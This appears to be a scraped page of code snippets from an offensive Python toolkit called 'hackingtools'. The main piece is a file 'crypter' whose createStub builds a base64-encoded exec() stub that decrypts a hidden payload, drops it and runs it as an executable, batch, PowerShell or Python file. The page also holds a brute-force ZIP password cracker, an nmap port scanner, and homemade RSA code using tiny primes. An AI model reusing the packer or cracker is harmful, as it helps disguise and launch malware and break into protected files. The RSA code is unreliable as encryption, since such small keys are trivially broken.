예제 #1
0
 def encrypt(self, private_key, plaintext):
     try:
         Logger.printMessage(
             message='{methodName}'.format(methodName='encrypt'),
             description='{private_key} - {msg}'.format(
                 private_key=private_key, msg=plaintext[0:10]),
             debug_module=True)
         #Unpack the key into it's components
         key, n = private_key
         ba64 = base64.b64encode(plaintext)
         ashex = Utils.asciiToHex(ba64)
         hexba64 = Utils.hexToBase64(ashex)
         ba64un = Utils.joinBase64(hexba64)
         decasc = Utils.decimalToAscii(ba64un)
         mensaje = Utils.textToAscii(decasc)
         Logger.printMessage(
             message='{methodName}'.format(methodName='encrypt'),
             description='{msg} - Length: {l}'.format(msg=mensaje[0:10],
                                                      l=len(mensaje)),
             debug_module=True)
         mensaje1 = [(ord(chr(char))**key) % n for char in mensaje]
         mensajeHex = Utils.asciiToHex(mensaje1)
         mensajeBase64 = Utils.hexToBase64(mensajeHex)
         mensajeFinalBase64 = Utils.joinBase64(mensajeBase64)
         return mensajeFinalBase64.decode("utf-8")
     except Exception as e:
         Logger.printMessage(
             message='{methodName}'.format(methodName='encrypt'),
             description='{msg}'.format(msg=e))
         return
예제 #2
0
    def crackZip(self,
                 zipPathName,
                 unzipper=None,
                 alphabet='lalpha',
                 password_length=4,
                 password_pattern=None,
                 log=False):
        #max_length_posibilities = int(config['max_for_chunk'])
        if not unzipper:
            unzipper = ht.getModule('ht_unzip')
        if log:
            Logger.setDebugCore(True)

        for text in [
                Utils.getCombinationPosibilitiesByPattern(
                    try_pattern=password_pattern) if password_pattern else
                Utils.getDict(length=password_length, alphabet=alphabet)
        ]:
            # if len(texts) > max_length_posibilities:
            # 	texts_list = numpy.array_split(texts, max_length_posibilities)
            # else:
            # 	texts_list = [texts]
            # for index_t_list, t_list in enumerate(texts_list):
            # if len(t_list) > max_length_posibilities:
            # 	Logger.printMessage(message='crackZip', description='Chunk {n} - {word}'.format(n=index_t_list, word=t_list[1]))
            # for text in t_list:
            if os.path.isfile(zipPathName):
                password = unzipper.extractFilePassword(
                    zipPathName, text)  #, posible_combinations=len(texts))
            else:
                Logger.printMessage(
                    message='crackZip',
                    description='File doesnt exists {a}'.format(a=zipPathName),
                    is_error=True)
                break
            if password:
                Logger.printMessage(
                    message='crackZip',
                    description='{msg_password_is} {a}'.format(
                        msg_password_is=config['msg_password_is'], a=password),
                    debug_module=True)
                if log:
                    Logger.setDebugCore(False)
                return password
        Logger.setDebugCore(False)
        return None
예제 #3
0
 def getRandomKeypair(self, length=8):
     Logger.printMessage(
         message='{methodName}'.format(methodName='getRandomKeypair'),
         debug_module=True)
     prime_a = ''
     prime_b = ''
     while prime_a == prime_b:
         while prime_a == '' or prime_a == prime_b:
             prime_a = Utils.getRandomPrimeByLength(length)
         while prime_b == '' or prime_a == prime_b:
             prime_b = Utils.getRandomPrimeByLength(length)
     if prime_a > prime_b:
         temp = prime_b
         prime_b = prime_a
         prime_a = temp
     Logger.printMessage(message='getRandomKeypair',
                         description=(prime_a, prime_b),
                         debug_module=True)
     return (prime_a, prime_b)
예제 #4
0
 def getDevicePorts(self, ip, tcp=True, udp=False):
     Logger.printMessage(
         message='{methodName}'.format(methodName='getDevicePorts'),
         description='{param} - TCP {tcp} - UDP {udp}'.format(param=ip,
                                                              tcp=tcp,
                                                              udp=udp),
         debug_module=True)
     nm = nmap.PortScanner()
     results = nm.scan(ip)
     try:
         if tcp and not udp:
             return Utils.getValidDictNoEmptyKeys(
                 results["scan"][ip]["tcp"])
         if udp and not tcp:
             return Utils.getValidDictNoEmptyKeys(
                 results["scan"][ip]["udp"])
         if tcp and udp:
             return Utils.getValidDictNoEmptyKeys(
                 [results["scan"][ip]["tcp"], results["scan"][ip]["udp"]])
         return Utils.getValidDictNoEmptyKeys(results["scan"][ip]["tcp"])
     except:
         return []
예제 #5
0
    def generate_keypair(self, prime_a, prime_b):
        if not (Utils.isPrime(int(prime_a)) and Utils.isPrime(int(prime_b))):
            Logger.printMessage(
                message='{methodName}'.format(methodName='generate_keypair'),
                description=config['bad_identical_prime'],
                debug_module=True,
                is_error=True)
            return config['bad_identical_prime']
        elif prime_a == prime_b:
            Logger.printMessage(
                message='{methodName}'.format(methodName='generate_keypair'),
                description=config['p_q_equal_error'],
                debug_module=True,
                is_error=True)
            return config['p_q_equal_error']
        else:
            #n = pq
            n = prime_a * prime_b

            #Phi is the totient of n
            phi = (prime_a - 1) * (prime_b - 1)

            #Choose an integer e such that e and phi(n) are coprime
            e = random.randrange(1, phi)

            #Use Euclid's Algorithm to verify that e and phi(n) are comprime
            g = Utils.euclides(e, phi)
            while g != 1:
                e = random.randrange(1, phi)
                g = Utils.euclides(e, phi)

            #Use Extended Euclid's Algorithm to generate the private key
            d = Utils.multiplicativeInverse(e, phi)

            #Return public and private keypair
            #Public key is (e, n) and private key is (d, n)
            return ((e, n), (d, n))
예제 #6
0
 def decrypt(self, public_key, ciphertext):
     Logger.printMessage(
         message='{methodName}'.format(methodName='decrypt'),
         description='{public_key}'.format(public_key=public_key),
         debug_module=True)
     #Unpack the key into its components
     key, n = public_key
     menRec = Utils.asciiToBase64(ciphertext.encode('utf-8'))
     menHex = Utils.base64ToHex(menRec)
     menDec = Utils.hexToDecimal(menHex)
     Logger.printMessage(
         message='{methodName}'.format(methodName='decrypt'),
         description='{msg}'.format(msg=menDec[0:10]),
         debug_module=True)
     menDesc = [((char**key) % n) for char in menDec]
     menAscii = Utils.decimalToAscii(menDesc)
     decasc = Utils.asciiToBase64(''.join(menAscii).encode())
     hexba64 = Utils.base64ToHex(decasc)
     ashex = Utils.hexToDecimal(hexba64)
     deasc = Utils.decimalToAscii(ashex)
     ba64 = base64.b64decode(deasc.encode())
     return ba64
예제 #7
0
from hackingtools.core import Logger, Utils, Config
if Utils.amIdjango(__name__):
    from .library.core import hackingtools as ht
else:
    import hackingtools as ht
import os

import binascii, base64

config = Config.getConfig(parentKey='modules', key='ht_rc4')
output_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), 'output'))


class StartModule():
    def __init__(self):
        self._main_gui_func_ = ''
        self._funcArgFromFunc_ = {
            '_functionName_': {
                '_functionParamName_': {
                    '_moduleName_': '_functionName_'
                }
            }
        }
        self.state = [None] * 256
        self.p = None
        self.q = None

    def help(self):
        Logger.printMessage(message=ht.getFunctionsNamesFromModule('ht_rc4'),
                            debug_module=True)
예제 #8
0
    def createStub(self,
                   crypto_data_hex,
                   public_key,
                   drop_file_name,
                   save_name,
                   is_iterating=False,
                   is_last=False,
                   convert=False):
        """
		Create's the stub for the crypter and 
		has some courious params he have to see
		
		Arguments
		---------
			crypto_data_hex : str

				File path that want to crypt
			public_key : str
			
				New File name for crypted file when 
				return's it
			drop_file_name : str
				New File name for crypted file when 
				return's it
			save_name : str
				New File name for crypted file when 
				return's it
		
		Keyword Arguments:
			is_iterating : bool
			
				Compile's the final file if we select 
				it (default: {False})
			is_last : bool
			
				Internal variable for looping on the 
				crypting (default: {False})
			convert : bool
				
				Internal varuable for looping on the 
				crypting (default: {1})
		
		Returns
		-------
			str
			
				Crypted file path name / None
		"""
        stub = ''
        if is_last:
            stub = "import argparse, math, base64, binascii, random, sys, subprocess, os\nfrom random import randint\n"
            stub += "cdx = \"" + crypto_data_hex + "\"\n"
            stub += "drpnm = \"" + drop_file_name + "\"\n"
            stub += "pk = ({a}, {b})\n".format(a=public_key[0],
                                               b=public_key[1])
            stub += """
def dcy(pk, cptx):
	k, n = pk
	mensajeRecibido = __reBa64__(cptx.encode('utf-8'))
	mensajeHexRecibido = __ba64Hex__(mensajeRecibido)
	mensajeDecimalRecibido = __hexDec__(mensajeHexRecibido)
	mensajeDescifrado = [((c ** k) % n) for c in mensajeDecimalRecibido]
	mensaje_de_ascii = __deAS__(mensajeDescifrado)
	decasc = __reBa64__(''.join(mensaje_de_ascii).encode())
	hexba64 = __ba64Hex__(decasc)
	ashex = __hexDec__(hexba64)
	deasc = __deAS__(ashex)
	ba64 = base64.b64decode(deasc.encode())
	return ba64
def __reBa64__(m):
	mBa64 = [m[i:i+4] for i in range(0, len(m), 4)]
	return mBa64
def __ba64Hex__(m):
	mHx = [base64.b64decode(b64) for b64 in m]
	return mHx
def __hexDec__(m):
	mDec = [int(hexa.decode("UTF-8"), 16) for hexa in m]
	return mDec
def __deAS__(m):
	m1 = ''.join([chr(d) for d in m])
	return m1
def __meAS__(m):
	men = [ord(p) for p in m]
	return men
dcy_data = dcy(pk=pk, cptx=cdx)
"""
        if is_iterating:
            stub += "cdx = \"" + crypto_data_hex + "\"\n"
            stub += "pk = ({a}, {b})\n".format(a=public_key[0],
                                               b=public_key[1])
            stub += "dcy_data = dcy(pk=pk, cptx=cdx)\n"
            stub += "exec(dcy_data)"
        else:
            stub += """
image_extensions = ('jpg', 'jpeg', 'bpm', 'ico', 'png')
exec_extensions = ('bat', 'exe', 'vbs', 'ps1')
python_extensions = ('py')
nf = open(drpnm, 'wb')
try:
	nf.write(dcy_data)
except:
	pass
nf.close()
if os.path.exists(drpnm):
	if drpnm.split('.')[1] in image_extensions:
		imageViewerFromCommandLine = {'linux':'xdg-open', 'win32':'explorer', 'darwin':'open'}[sys.platform]
		subprocess.run([imageViewerFromCommandLine, drpnm], close_fds=True)
	if drpnm.split('.')[1] in exec_extensions and sys.platform == 'win32':
		os.system(drpnm)
	if drpnm.split('.')[1] in python_extensions:
		exec(dcy_data)
		#proc = subprocess.Popen('python {fn}'.format(fn=drpnm), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
"""

        stub_base64 = base64.b64encode(stub.encode('utf-8'))
        stub = "import base64\n"
        stub += "data = {st_ba64}\n".format(st_ba64=stub_base64)
        stub += "exec(base64.b64decode(data))"

        Utils.saveToFile(content=stub, fileName=save_name)

        if convert:
            self.convertToExe(save_name)
예제 #9
0
 def __init__(self):
     Utils.emptyDirectory(output_dir)
     self._main_gui_func_ = 'crypt_file'
예제 #10
0
    def crypt_file(self,
                   filename,
                   new_file_name,
                   drop_file_name='dropped.py',
                   prime_length=4,
                   compile_exe=False,
                   is_iterating=False,
                   iterate_count=1,
                   is_last=False):
        """Crypt's a file when some params we have to use
		
		Arguments
		---------
			filename : str
			
				File path that want to crypt
			new_file_name : str
			
				New File name for crypted file 
				when return's it
		
		Keyword Arguments
		-----------------
			drop_file_name : str
			
				Drop a new file on execute the 
				cryted file (default: {'dropped.py'})
			prime_length : int
			
				Set a prime length for auto-generating
				 the primes for the cryptography 
				 (default: {4})
			compile_exe : bool
			
				Compile's the final file if 
				we select it (default: {False})
			is_iterating : bool
			
				Internal variable for looping 
				on the crypting (default: {False})
			iterate_count : int
			
				Internal variable for looping 
				on the crypting (default: {1})
			is_last : bool
			
				Internal variable for looping 
				on the crypting (default: {False})
		
		Returns
		-------
			str

				Crypted file path name / None
		"""
        Logger.printMessage(
            message='{methodName}'.format(methodName='crypt_file'),
            description='{filename}'.format(filename=filename),
            debug_module=True)
        temp_filename = filename
        if iterate_count > 1:
            temp_filename = filename
            for i in range(1, iterate_count):
                if i == iterate_count - 1:
                    is_last = True
                temp_filename = self.crypt_file(filename=temp_filename,
                                                new_file_name=new_file_name,
                                                drop_file_name=drop_file_name,
                                                compile_exe=False,
                                                is_iterating=True,
                                                iterate_count=1,
                                                is_last=is_last)

        filename = temp_filename
        if filename and new_file_name:
            crypter_rsa = ht.getModule('ht_rsa')
            data = Utils.getFileContentInByteArray(filePath=filename)
            prime_a, prime_b = crypter_rsa.getRandomKeypair(prime_length)
            public, private = crypter_rsa.generate_keypair(prime_a, prime_b)
            crypted_data = crypter_rsa.encrypt(private_key=private,
                                               plaintext=data)
            new_file = new_file_name
            if not '.' in new_file:
                new_file = '{file}.py'.format(file=new_file)

            if compile_exe:
                self.createStub(crypto_data_hex=crypted_data,
                                public_key=public,
                                drop_file_name=drop_file_name,
                                save_name=new_file,
                                is_iterating=is_iterating,
                                is_last=is_last,
                                convert=True)
                new_file = '{file}.exe'.format(file=new_file.split('.')[0])
            else:
                self.createStub(crypto_data_hex=crypted_data,
                                public_key=public,
                                drop_file_name=drop_file_name,
                                save_name=new_file,
                                is_iterating=is_iterating,
                                is_last=is_last)
            return new_file
        else:
            return None
예제 #11
0
	def __init__(self):
		Utils.emptyDirectory(output_dir)
		self._main_gui_func_ = 'extractFilePassword'
예제 #12
0
 def __init__(self):
     Utils.emptyDirectory(output_dir)
     self._main_gui_func_ = 'crypt_file'
     self.__gui_label__ = 'File Crypter'
예제 #13
0
 def __init__(self):
     Utils.emptyDirectory(output_dir)
     self._main_gui_func_ = 'crackZip'
     self.__gui_label__ = 'File Cracker by Bruteforce'